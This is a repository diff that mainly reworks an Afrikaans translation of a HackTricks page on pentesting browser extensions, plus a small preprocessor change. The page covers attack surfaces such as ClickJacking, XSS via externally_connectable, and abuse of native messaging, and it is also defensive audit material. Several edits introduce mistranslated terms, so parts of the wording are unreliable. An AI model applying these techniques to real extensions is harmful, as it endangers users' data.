Translated ['.github/pull_request_template.md', 'src/1911-pentesting-fox

.github/pull_request_template.md

@@ -1,4 +1,4 @@
 ## Toeskryfing
 Ons waardeer jou kennis en moedig jou aan om inhoud te deel. Maak asseblief seker dat jy slegs inhoud oplaai wat jy besit of waarvoor jy toestemming het om dit van die oorspronklike outeur te deel (voeg 'n verwysing na die outeur in die bygevoegde teks of aan die einde van die bladsy wat jy wysig of albei). Jou respek vir intellektuele eiendomsregte bevorder 'n betroubare en wettige deelomgewing vir almal.
 
-Dankie dat jy by HackTricks bydra!
+Dankie dat jy bydra tot HackTricks!

book.toml

@@ -22,6 +22,7 @@ after = ["links"]
 
 [preprocessor.hacktricks]
 command = "python3 ./hacktricks-preprocessor.py"
+env = "prod"
 
 [output.html]
 additional-css = ["theme/pagetoc.css", "theme/tabs.css"]

hacktricks-preprocessor.py

@@ -30,14 +30,16 @@ def ref(matchobj):
     href =  matchobj.groups(0)[0].strip()
     title = href
     if href.startswith("http://") or href.startswith("https://"):
-        # pass
-        try:
-            raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
-            match = re.search('<title>(.*?)</title>', raw_html)
-            title = match.group(1) if match else href
-        except Exception as e:
-            logger.debug(f'Error opening URL {href}: {e}')
-            pass #nDont stop on broken link
+        if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
+            pass
+        else:
+            try:
+                raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
+                match = re.search('<title>(.*?)</title>', raw_html)
+                title = match.group(1) if match else href
+            except Exception as e:
+                logger.debug(f'Error opening URL {href}: {e}')
+                pass #nDont stop on broken link
     else:
         try:
             if href.endswith("/"):
@@ -90,7 +92,7 @@ if __name__ == '__main__':
     context, book = json.load(sys.stdin)
 
     logger.debug(f"Context: {context}")
-
+    logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
 
     for chapter in iterate_chapters(book['sections']):
         logger.debug(f"Chapter: {chapter['path']}")

src/pentesting-web/browser-extension-pentesting-methodology/README.md

@@ -4,7 +4,7 @@
 
 ## Basiese Inligting
 
-Bladsy uitbreidings is in JavaScript geskryf en word deur die blaier in die agtergrond gelaai. Dit het sy [DOM](https://www.w3schools.com/js/js_htmldom.asp) maar kan met ander webwerwe se DOM's interaksie hê. Dit beteken dat dit ander webwerwe se vertroulikheid, integriteit en beskikbaarheid (CIA) kan benadeel.
+Bladsy uitbreidings is in JavaScript geskryf en word deur die blaaskas in die agtergrond gelaai. Dit het sy [DOM](https://www.w3schools.com/js/js_htmldom.asp) maar kan met ander webwerwe se DOM's interaksie hê. Dit beteken dat dit ander webwerwe se vertroulikheid, integriteit en beskikbaarheid (CIA) kan benadeel.
 
 ## Hoofkomponente
 
@@ -22,7 +22,7 @@ Die uitbreiding se kern bevat die meeste van die uitbreiding se voorregte/toegan
 
 ### **Inheemse Binêre**
 
-Die uitbreiding laat 'n inheemse binêre toe wat **toegang tot die gasheer masjien met die gebruiker se volle voorregte kan hê.** Die inheemse binêre interaksie met die uitbreiding se kern deur die standaard Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) wat deur Flash en ander blaier-inproppe gebruik word.
+Die uitbreiding laat 'n inheemse binêre toe wat **toegang tot die gasheer masjien met die gebruiker se volle voorregte kan hê.** Die inheemse binêre interaksie met die uitbreiding se kern deur die standaard Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) wat deur Flash en ander blaaskas plug-ins gebruik word.
 
 ### Grense
 
@@ -35,7 +35,7 @@ Boonop skei inhoud skripte van hul geassosieerde webbladsye deur **in 'n afsonde
 
 ## **`manifest.json`**
 
-'n Chrome uitbreiding is net 'n ZIP-gids met 'n [.crx lêer uitbreiding](https://www.lifewire.com/crx-file-2620391). Die uitbreiding se kern is die **`manifest.json`** lêer in die wortel van die gids, wat uitleg, toestemmings en ander konfigurasie opsies spesifiseer.
+'n Chrome uitbreiding is net 'n ZIP vouer met 'n [.crx lêer uitbreiding](https://www.lifewire.com/crx-file-2620391). Die uitbreiding se kern is die **`manifest.json`** lêer in die wortel van die vouer, wat uitleg, toestemmings en ander konfigurasie opsies spesifiseer.
 
 Voorbeeld:
 ```json
@@ -91,24 +91,24 @@ document.body.appendChild(div)
 ```
 <figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
 
-'n Boodskap word na die uitbreiding bladsye gestuur deur die inhoudskrip wanneer hierdie knoppie geklik word, deur die gebruik van die [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Dit is as gevolg van die inhoudskrip se beperking in direkte toegang tot API's, met `storage` wat onder die min uitsonderings val. Vir funksies buite hierdie uitsonderings, word boodskappe na uitbreiding bladsye gestuur waarmee inhoudskripte kan kommunikeer.
+'n Boodskap word na die uitbreiding bladsye gestuur deur die inhoudskrip wanneer hierdie knoppie geklik word, deur die gebruik van die [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Dit is as gevolg van die inhoudskrip se beperking in direkte toegang tot API's, met `storage` wat een van die min uitsonderings is. Vir funksies buite hierdie uitsonderings, word boodskappe na uitbreiding bladsye gestuur waarmee inhoudskripte kan kommunikeer.
 
 > [!WARNING]
 > Afhangende van die blaaier, kan die vermoëns van die inhoudskrip effens verskil. Vir Chromium-gebaseerde blaaiers is die vermoënslys beskikbaar in die [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), en vir Firefox dien die [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) as die primêre bron.\
 > Dit is ook noemenswaardig dat inhoudskripte die vermoë het om met agtergrondskripte te kommunikeer, wat hulle in staat stel om aksies uit te voer en antwoorde terug te stuur.
 
-Vir die sien en debugg van inhoudskripte in Chrome, kan die Chrome ontwikkelaar gereedskapmenu vanaf Opsies > Meer gereedskap > Ontwikkelaar gereedskap bereik word OF deur Ctrl + Shift + I te druk.
+Vir die sien en debugg van inhoudskripte in Chrome, kan die Chrome ontwikkelaar gereedskapmenu verkry word vanaf Opsies > Meer gereedskap > Ontwikkelaar gereedskap OF deur Ctrl + Shift + I te druk.
 
-Sodra die ontwikkelaar gereedskap vertoon word, moet die **Source tab** geklik word, gevolg deur die **Content Scripts** tab. Dit stel die waarneming van lopende inhoudskripte van verskeie uitbreidings en die instelling van breekpunte om die uitvoeringsvloei te volg, moontlik.
+Sodra die ontwikkelaar gereedskap vertoon word, moet die **Bron tab** geklik word, gevolg deur die **Inhoud Skripte** tab. Dit stel die waarneming van lopende inhoudskripte van verskeie uitbreidings en die instelling van breekpunte om die uitvoeringsvloei te volg, moontlik.
 
 ### Ingevoegde inhoudskripte
 
 > [!TIP]
-> Let daarop dat **Inhoudskripte nie verpligtend is nie** aangesien dit ook moontlik is om **dynamies** **skripte in te voeg** en om **programmaties in te voeg** in webbladsye via **`tabs.executeScript`**. Dit bied eintlik meer **fynbeheer**.
+> Let daarop dat **Inhoud Skripte nie verpligtend is nie** aangesien dit ook moontlik is om **dynamies** **skripte in te voeg** en om **programmaties in te voeg** in webblaaie via **`tabs.executeScript`**. Dit bied eintlik meer **fynbeheer**.
 
 Vir die programmatiese invoeging van 'n inhoudskrip, moet die uitbreiding [gashere toestemming](https://developer.chrome.com/docs/extensions/reference/permissions) hê vir die bladsy waarin die skripte ingevoeg moet word. Hierdie toestemmings kan verkry word deur **hulle aan te vra** binne die manifest van die uitbreiding of op 'n tydelike basis deur [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
 
-#### Voorbeeld van 'n activeTab-gebaseerde uitbreiding
+#### Voorbeeld activeTab-gebaseerde uitbreiding
 ```json:manifest.json
 {
 "name": "My extension",
@@ -208,16 +208,16 @@ js: ["contentScript.js"],
 ```
 ### `background`
 
-Boodskappe wat deur inhoudscripts gestuur word, word deur die **agtergrondbladsy** ontvang, wat 'n sentrale rol speel in die koördinering van die uitbreiding se komponente. Opmerklik is dat die agtergrondbladsy oor die uitbreiding se lewensduur voortduur, wat diskreet werk sonder direkte gebruikersinteraksie. Dit het sy eie Dokumentobjekmodel (DOM), wat komplekse interaksies en toestandsbestuur moontlik maak.
+Boodskappe wat deur inhoudscripts gestuur word, word deur die **agtergrondbladsy** ontvang, wat 'n sentrale rol speel in die koördinering van die uitbreiding se komponente. Opmerklik is dat die agtergrondbladsy oor die uitbreiding se lewensduur voortduur, wat diskreet werk sonder direkte gebruikersinteraksie. Dit het sy eie Dokumentobjekmodel (DOM), wat komplekse interaksies en toestandbestuur moontlik maak.
 
 **Belangrike Punten**:
 
 - **Agtergrondbladsy Rol:** Dien as die senuweesentrum vir die uitbreiding, wat kommunikasie en koördinering tussen verskillende dele van die uitbreiding verseker.
 - **Volharding:** Dit is 'n altyd teenwoordige entiteit, onsigbaar vir die gebruiker maar integraal tot die uitbreiding se funksionaliteit.
-- **Outomatiese Generasie:** As dit nie eksplisiet gedefinieer is nie, sal die blaaier outomaties 'n agtergrondbladsy skep. Hierdie outomaties gegenereerde bladsy sal al die agtergrondskripte insluit wat in die uitbreiding se manifest gespesifiseer is, wat die naatlose werking van die uitbreiding se agtergrondtake verseker.
+- **Outomatiese Generasie:** As dit nie eksplisiet gedefinieer is nie, sal die blaaiers outomaties 'n agtergrondbladsy skep. Hierdie outomaties gegenereerde bladsy sal al die agtergrondskripte insluit wat in die uitbreiding se manifest gespesifiseer is, wat die naatlose werking van die uitbreiding se agtergrondtake verseker.
 
 > [!TIP]
-> Die gerief wat deur die blaaier verskaf word om outomaties 'n agtergrondbladsy te genereer (wanneer dit nie eksplisiet verklaar is nie) verseker dat al die nodige agtergrondskripte geïntegreer en operasioneel is, wat die uitbreiding se opstellingsproses stroomlyn. 
+> Die gerief wat deur die blaaiers verskaf word om outomaties 'n agtergrondbladsy te genereer (wanneer dit nie eksplisiet verklaar is nie) verseker dat al die nodige agtergrondskripte geïntegreer en operasioneel is, wat die uitbreiding se opstellingsproses stroomlyn. 
 
 Voorbeeld agtergrondskrip:
 ```js
@@ -229,7 +229,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
 ```
 Dit gebruik die [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) om na boodskappe te luister. Wanneer 'n `"explain"` boodskap ontvang word, gebruik dit die [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) om 'n bladsy in 'n nuwe tab te open.
 
-Om die agtergrondskrip te debug, kan jy na die **uitbreiding besonderhede gaan en die dienswerker inspekteer,** dit sal die ontwikkelaar gereedskap met die agtergrondskrip oopmaak:
+Om die agtergrondskrip te debug, kan jy na die **uitbreiding besonderhede gaan en die dienswerker inspekteer,** dit sal die ontwikkelaar gereedskap oopmaak met die agtergrondskrip:
 
 <figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
 
@@ -250,7 +250,7 @@ Let daarop dat hierdie bladsye nie volhoubaar is soos agtergrond bladsye nie, aa
 
 ### `permissions` & `host_permissions`
 
-**`permissions`** en **`host_permissions`** is inskrywings uit die `manifest.json` wat sal aandui **watter toestemmings** die blaaier uitbreidings het (stoor, ligging...) en in **watter web bladsye**.
+**`permissions`** en **`host_permissions`** is inskrywings uit die `manifest.json` wat sal aandui **watter toestemmings** die blaaier uitbreidings het (berging, ligging...) en in **watter web bladsye**.
 
 Aangesien blaaier uitbreidings so **bevoorreg** kan wees, kan 'n kwaadwillige een of een wat gecompromitteer is die aanvaller **verskillende middele bied om sensitiewe inligting te steel en die gebruiker te spioeneer**.
 
@@ -307,14 +307,14 @@ Alhoewel, as die `manifest.json` parameter **`use_dynamic_url`** gebruik word, k
 > [!TIP]
 > Let daarop dat selfs al word 'n bladsy hier genoem, dit mag **teen ClickJacking beskerm wees** danksy die **Content Security Policy**. So jy moet dit ook nagaan (frame-ancestors afdeling) voordat jy bevestig dat 'n ClickJacking-aanval moontlik is.
 
-Toegelaat om toegang tot hierdie bladsye te hê, maak hierdie bladsye **potensieel kwesbaar vir ClickJacking**:
+Toegelaat om toegang tot hierdie bladsye te hê maak hierdie bladsye **potensieel kwesbaar vir ClickJacking**:
 
 {{#ref}}
 browext-clickjacking.md
 {{#endref}}
 
 > [!TIP]
-> Om te verhoed dat hierdie bladsye slegs deur die uitbreiding gelaai word en nie deur ewekansige URL's nie, kan ClickJacking-aanvalle voorkom.
+> Om hierdie bladsye slegs deur die uitbreiding te laat laai en nie deur ewekansige URL's nie, kan ClickJacking-aanvalle voorkom.
 
 > [!CAUTION]
 > Let daarop dat die bladsye van **`web_accessible_resources`** en ander bladsye van die uitbreiding ook in staat is om **agtergrondskripte te kontak**. So as een van hierdie bladsye kwesbaar is vir **XSS**, kan dit 'n groter kwesbaarheid oopmaak.
@@ -325,8 +325,8 @@ browext-clickjacking.md
 
 Volgens die [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), verklaar die `"externally_connectable"` manifest eienskap **watter uitbreidings en web bladsye kan verbind** met jou uitbreiding via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) en [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
 
-- As die **`externally_connectable`** sleutel **nie** in jou uitbreiding se manifest verklaar is nie of dit verklaar is as **`"ids": ["*"]`**, kan **alle uitbreidings verbind, maar geen web bladsye kan verbind**.
-- As **spesifieke ID's gespesifiseer is**, soos in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, kan **slegs daardie toepassings** verbind.
+- As die **`externally_connectable`** sleutel **nie** in jou uitbreiding se manifest verklaar is of dit verklaar is as **`"ids": ["*"]`**, **kan alle uitbreidings verbind, maar geen web bladsye kan verbind**.
+- As **spesifieke ID's gespesifiseer is**, soos in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **kan slegs daardie toepassings** verbind.
 - As **ooreenkomste** gespesifiseer is, sal daardie webtoepassings in staat wees om te verbind:
 ```json
 "matches": [
@@ -338,7 +338,7 @@ Volgens die [**docs**](https://developer.chrome.com/docs/extensions/reference/ma
 Die **minder uitbreidings en URL's** wat hier aangedui word, hoe **kleiner die aanvaloppervlak** sal wees.
 
 > [!CAUTION]
-> As 'n webblad **kwulnerabel is vir XSS of oorneem** en in **`externally_connectable`** aangedui word, sal 'n aanvaller in staat wees om **boodskappe direk na die agtergrondskrip te stuur**, wat die Inhoudskrip en sy CSP heeltemal omseil.
+> As 'n webblad **kwulnerabel is vir XSS of oorname** en in **`externally_connectable`** aangedui word, sal 'n aanvaller in staat wees om **boodskappe direk na die agtergrondskrip te stuur**, wat die Inhoudskrip en sy CSP heeltemal omseil.
 >
 > Daarom is dit 'n **baie kragtige omseiling**.
 >
@@ -354,7 +354,7 @@ Om te kommunikeer tussen die inhoudskrip en die webblad, word posboodskappe gewo
 
 Gewoonlik word die funksie **`chrome.runtime.sendMessage`** gebruik om 'n boodskap binne die uitbreiding te stuur (gewoonlik hanteer deur die `background` skrip) en om dit te ontvang en te hanteer, word 'n luisteraar verklaar wat **`chrome.runtime.onMessage.addListener`** aanroep.
 
-Dit is ook moontlik om **`chrome.runtime.connect()`** te gebruik om 'n volgehoue verbinding te hê in plaas van om enkele boodskappe te stuur, dit is moontlik om dit te gebruik om **boodskappe** te **stuur** en **te ontvang** soos in die volgende voorbeeld:
+Dit is ook moontlik om **`chrome.runtime.connect()`** te gebruik om 'n volgehoue verbinding te hê in plaas van om enkele boodskappe te stuur; dit is moontlik om dit te gebruik om **boodskappe** te **stuur** en **te ontvang** soos in die volgende voorbeeld:
 
 <details>
 
@@ -482,11 +482,11 @@ Jy kan ook 'n voorbeeld van 'n **DOM-gebaseerde XSS om 'n blaaiers uitbreiding t
 browext-xss-example.md
 {{#endref}}
 
-## Inhoudskrip **↔︎** Agtergrond Skrip Kommunikasie
+## Inhoud Skrip **↔︎** Agtergrond Skrip Kommunikasie
 
-'n Inhoudskrip kan die funksies [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **of** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) gebruik om 'n **eenmalige JSON-serialiseerbare** boodskap te stuur.
+'n Inhoud Skrip kan die funksies [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **of** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) gebruik om 'n **eenmalige JSON-serialiseerbare** boodskap te stuur.
 
-Om die **antwoord** te hanteer, gebruik die teruggegee **Promise**. Alhoewel, vir agterwaartse kompatibiliteit, kan jy steeds 'n **callback** as die laaste argument deurgee.
+Om die **antwoord** te hanteer, gebruik die teruggegee **Promise**. Alhoewel, vir agterwaartse kompatibiliteit, kan jy steeds 'n **terugroep** as die laaste argument deurgee.
 
 Om 'n versoek van 'n **inhoudskrip** te stuur lyk soos volg:
 ```javascript
@@ -496,7 +496,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
 console.log(response)
 })()
 ```
-'n Versoek stuur vanaf die **uitbreiding** (gewoonlik 'n **agtergrondskrip**). Voorbeeld van hoe om 'n boodskap na die inhoudskrip in die geselekteerde oortjie te stuur:
+Stuur 'n versoek vanaf die **uitbreiding** (gewoonlik 'n **agtergrondskrip**). Voorbeeld van hoe om 'n boodskap na die inhoudskrip in die geselekteerde oortjie te stuur:
 ```javascript
 // From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
 ;(async () => {
@@ -521,7 +521,7 @@ sender.tab
 if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
 })
 ```
-In die voorbeeld wat uitgelig is, is **`sendResponse()`** in 'n sinchroniese wyse uitgevoer. Om die `onMessage` gebeurtenis hanteraar te wysig vir asynchrone uitvoering van `sendResponse()`, is dit noodsaaklik om `return true;` in te sluit.
+In die voorbeeld wat uitgelig is, **`sendResponse()`** is in 'n sinchroniese wyse uitgevoer. Om die `onMessage` gebeurtenis hanteraar te wysig vir asynchrone uitvoering van `sendResponse()`, is dit noodsaaklik om `return true;` in te sluit.
 
 'n Belangrike oorweging is dat in scenario's waar verskeie bladsye ingestel is om `onMessage` gebeurtenisse te ontvang, **die eerste bladsy wat `sendResponse()`** vir 'n spesifieke gebeurtenis uitvoer, die enigste een sal wees wat die respons effektief kan lewer. Enige daaropvolgende respons op dieselfde gebeurtenis sal nie in ag geneem word nie.
 
@@ -558,7 +558,7 @@ console.log("Received " + response)
 ```
 In [**hierdie blogpos**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), 'n kwesbare patroon wat inheemse boodskappe misbruik, word voorgestel:
 
-1. Die blaaierspesialis het 'n wildcard-patroon vir inhoudskrip.
+1. Die blaaierspesialis het 'n wildcard patroon vir inhoudskrip.
 2. Inhoudskrip stuur `postMessage` boodskappe na die agtergrondskrip met behulp van `sendMessage`.
 3. Agtergrondskrip stuur die boodskap na die inheemse toepassing met `sendNativeMessage`.
 4. Inheemse toepassing hanteer die boodskap gevaarlik, wat lei tot kode-uitvoering.
@@ -575,7 +575,7 @@ Natuurlik, moenie **sensitiewe inligting in die kode plaas nie**, aangesien dit
 
 Om geheue van die blaaier te dump kan jy **die prosesgeheue dump** of om na die **instellings** van die blaaierspesialis te gaan, klik op **`Inspect pop-up`** -> In die **`Memory`** afdeling -> **`Neem 'n snapshot`** en **`CTRL+F`** om binne die snapshot na sensitiewe inligting te soek.
 
-Boonop, hoogs sensitiewe inligting soos mnemonic sleutels of wagwoorde **moet nie toegelaat word om in die klips gekopieer te word nie** (of ten minste dit binne 'n paar sekondes uit die klips verwyder) omdat prosesse wat die klips monitor, dit dan kan verkry.
+Boonop, hoogs sensitiewe inligting soos mnemonic sleutels of wagwoorde **moet nie toegelaat word om in die klips gekopieer te word nie** (of ten minste verwyder dit uit die klips binne 'n paar sekondes) omdat dan prosesse wat die klips monitor, dit sal kan kry.
 
 ## Laai 'n Spesialis in die Blaaier
 
@@ -585,7 +585,7 @@ Boonop, hoogs sensitiewe inligting soos mnemonic sleutels of wagwoorde **moet ni
 
 In **Firefox** gaan jy na **`about:debugging#/runtime/this-firefox`** en klik op die **`Laai Tydelike Byvoeging`** knoppie.
 
-## Verkry die bronkode van die winkel
+## Kry die bronkode van die winkel
 
 Die bronkode van 'n Chrome spesialis kan deur verskeie metodes verkry word. Hieronder is gedetailleerde verduidelikings en instruksies vir elke opsie.
 
@@ -631,14 +631,14 @@ Maak Chrome oop en gaan na `chrome://extensions/`. Aktiveer "Ontwikkelaar modus"
 
 ## Chrome uitbreiding manifest dataset
 
-Om te probeer om kwesbare blaaiers-uitbreidings te identifiseer, kan jy die [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) gebruik en hul manifest lêers nagaan vir potensieel kwesbare tekens. Byvoorbeeld om te kyk vir uitbreidings met meer as 25000 gebruikers, `content_scripts` en die toestemming `nativeMessaing`:
+Om te probeer om kwesbare blaaier-uitbreidings te identifiseer, kan jy die [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) gebruik en hul manifestlêers nagaan vir potensieel kwesbare tekens. Byvoorbeeld om te kyk vir uitbreidings met meer as 25000 gebruikers, `content_scripts` en die toestemming `nativeMessaing`:
 ```bash
 # Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
 node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
 ```
 ## Sekuriteitsoudit Kontrolelys
 
-Alhoewel Blaaieruitbreidings 'n **beperkte aanvaloppervlak** het, kan sommige van hulle **kwesbaarhede** of **potensiële versterkingsverbeterings** bevat. Die volgende is die mees algemene:
+Alhoewel Bladsy-uitbreidings 'n **beperkte aanvaloppervlak** het, kan sommige van hulle **kwesbaarhede** of **potensiële versterkingsverbeterings** bevat. Die volgende is die mees algemene:
 
 - [ ] **Beperk** so veel as moontlik aangevraagde **`permissions`**
 - [ ] **Beperk** so veel as moontlik **`host_permissions`**
@@ -650,15 +650,15 @@ Alhoewel Blaaieruitbreidings 'n **beperkte aanvaloppervlak** het, kan sommige va
 - [ ] As enige **kommunikasie** plaasvind van die **uitbreiding** na die **webblad**, [**kyk vir XSS**](browext-xss-example.md) **kwesbaarhede** wat in die kommunikasie veroorsaak word.
 - [ ] As Post Boodskappe gebruik word, kyk vir [**Post Boodskap kwesbaarhede**](../postmessage-vulnerabilities/)**.**
 - [ ] As die **Inhoud Skrip toegang tot DOM besonderhede** het, kyk dat hulle **nie 'n XSS** inbring as hulle **gewysig** word deur die web nie.
-- [ ] Maak 'n spesiale klem as hierdie kommunikasie ook betrokke is in die **Inhoud Skrip -> Agtergrondskrip kommunikasie**
-- [ ] As die agtergrondskrip kommunikeer via **natuurlike boodskappe**, kyk dat die kommunikasie veilig en gesaniteer is.
-- [ ] **Sensitiewe inligting moet nie gestoor word** binne die Blaaieruitbreiding **kode** nie.
-- [ ] **Sensitiewe inligting moet nie gestoor word** binne die Blaaieruitbreiding **geheue** nie.
+- [ ] Maak 'n spesiale klem as hierdie kommunikasie ook betrokke is in die **Inhoud Skrip -> Agtergrond skrip kommunikasie**
+- [ ] As die agtergrond skrip kommunikeer via **natuurlike boodskappe**, kyk dat die kommunikasie veilig en gesuiwer is.
+- [ ] **Sensitiewe inligting moet nie gestoor word** binne die Bladsy-uitbreiding **kode** nie.
+- [ ] **Sensitiewe inligting moet nie gestoor word** binne die Bladsy-uitbreiding **geheue** nie.
 - [ ] **Sensitiewe inligting moet nie gestoor word** binne die **lêerstelsel onbeskermd** nie.
 
-## Blaaieruitbreiding Risiko's
+## Bladsy-uitbreiding Risiko's
 
-- Die app [https://crxaminer.tech/](https://crxaminer.tech/) analiseer sekere data soos die toestemmings wat die blaaiersuitbreiding versoek om 'n risikoniveau van die gebruik van die blaaiersuitbreiding te gee.
+- Die app [https://crxaminer.tech/](https://crxaminer.tech/) analiseer sekere data soos die toestemmings wat die bladsy-uitbreiding versoek om 'n risikoniveau van die gebruik van die bladsy-uitbreiding te gee.
 
 ## Gereedskap
 
@@ -666,30 +666,30 @@ Alhoewel Blaaieruitbreidings 'n **beperkte aanvaloppervlak** het, kan sommige va
 
 - Trek enige Chrome-uitbreiding van 'n gegewe Chrome-webwinkel skakel.
 - [**manifest.json**](https://developer.chrome.com/extensions/manifest) **kyker**: vertoon eenvoudig 'n JSON-verfraaide weergawe van die uitbreiding se manifest.
-- **Vingerafdrukanalise**: Ontdekking van [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) en outomatiese generering van Chrome-uitbreiding vingerafdruk JavaScript.
-- **Potensiële Clickjacking Analise**: Ontdekking van uitbreiding HTML-bladsye met die [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) riglyn ingestel. Hierdie is potensieel kwesbaar vir clickjacking afhangende van die doel van die bladsye.
-- **Toestemming Waarskuwing(s) kyker**: wat 'n lys van al die Chrome toestemming prompt waarskuwings vertoon wat vertoon sal word wanneer 'n gebruiker probeer om die uitbreiding te installeer.
-- **Gevaarlike Funksie(s)**: wys die ligging van gevaarlike funksies wat potensieel deur 'n aanvaller uitgebuit kan word (bv. funksies soos innerHTML, chrome.tabs.executeScript).
-- **Ingangspunt(e)**: wys waar die uitbreiding gebruiker/externe insette ontvang. Dit is nuttig om 'n uitbreiding se oppervlakarea te verstaan en te soek na potensiële punte om kwaadwillig saamgestelde data na die uitbreiding te stuur.
+- **Vingerafdrukanalise**: Opsporing van [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) en outomatiese generering van Chrome-uitbreiding vingerafdruk JavaScript.
+- **Potensiële Clickjacking Analise**: Opsporing van uitbreiding HTML-bladsye met die [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) riglyn ingestel. Hierdie is potensieel kwesbaar vir clickjacking afhangende van die doel van die bladsye.
+- **Toestemming Waarskuwing(s) kyker**: wat 'n lys van al die Chrome toestemming prompt waarskuwings toon wat vertoon sal word wanneer 'n gebruiker probeer om die uitbreiding te installeer.
+- **Gevaarlike Funksie(s)**: toon die ligging van gevaarlike funksies wat potensieel deur 'n aanvaller uitgebuit kan word (bv. funksies soos innerHTML, chrome.tabs.executeScript).
+- **Ingangspunt(e)**: toon waar die uitbreiding gebruiker/externe insette ontvang. Dit is nuttig om 'n uitbreiding se oppervlakarea te verstaan en te soek na potensiële punte om kwaadwillig saamgestelde data na die uitbreiding te stuur.
 - Beide die Gevaarlike Funksie(s) en Ingangspunt(e) skandeerders het die volgende vir hul gegenereerde waarskuwings:
 - Betrokke kode-snipper en lyn wat die waarskuwing veroorsaak het.
 - Beskrywing van die probleem.
 - 'n "Sien Lêer" knoppie om die volle bronne lêer wat die kode bevat te sien.
 - Die pad van die gewaarskuwe lêer.
 - Die volle Chrome-uitbreiding URI van die gewaarskuwe lêer.
-- Die tipe lêer wat dit is, soos 'n Agtergrondbladskrip, Inhoud Skrip, Blaaier Aksie, ens.
+- Die tipe lêer wat dit is, soos 'n Agtergrondbladskrip, Inhoud Skrip, Bladsy Aksie, ens.
 - As die kwesbare lyn in 'n JavaScript-lêer is, die pades van al die bladsye waar dit ingesluit is sowel as hierdie bladsye se tipe, en [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) status.
-- **Inhoud Sekuriteitsbeleid (CSP) analise en omseil kontroleerder**: Dit sal swakhede in jou uitbreiding se CSP uitwys en sal ook enige potensiële maniere om jou CSP te omseil as gevolg van gewhitelist CDNs, ens. belig.
+- **Inhoud Sekuriteitsbeleid (CSP) analise en omseiling kontroleerder**: Dit sal swakhede in jou uitbreiding se CSP uitwys en sal ook enige potensiële maniere om jou CSP te omseil as gevolg van gewhitelist CDNs, ens.
 - **Bekende Kwesbare Biblioteke**: Dit gebruik [Retire.js](https://retirejs.github.io/retire.js/) om te kyk vir enige gebruik van bekende kwesbare JavaScript biblioteke.
-- Laai uitbreiding en geformateerde weergawes af.
+- Laai uitbreiding en geformatteerde weergawes af.
 - Laai die oorspronklike uitbreiding af.
 - Laai 'n verfraaide weergawe van die uitbreiding af (outomaties verfraaide HTML en JavaScript).
-- Outomatiese kas van skandeer resultate, om 'n uitbreiding skandering te laat loop sal 'n goeie hoeveelheid tyd neem die eerste keer wat jy dit uitvoer. Maar die tweede keer, mits die uitbreiding nie opgedateer is nie, sal dit amper onmiddellik wees as gevolg van die resultate wat in die kas gestoor is.
+- Outomatiese kas van skandeer resultate, die uitvoering van 'n uitbreiding skandering sal 'n goeie hoeveelheid tyd neem die eerste keer wat jy dit uitvoer. Maar die tweede keer, mits die uitbreiding nie opgedateer is nie, sal dit amper onmiddellik wees as gevolg van die resultate wat in die kas gestoor is.
 - Skakelbare Verslag URL's, maklik om iemand anders na 'n uitbreiding verslag wat deur tarnish gegenereer is te skakel.
 
 ### [Neto](https://github.com/elevenpaths/neto)
 
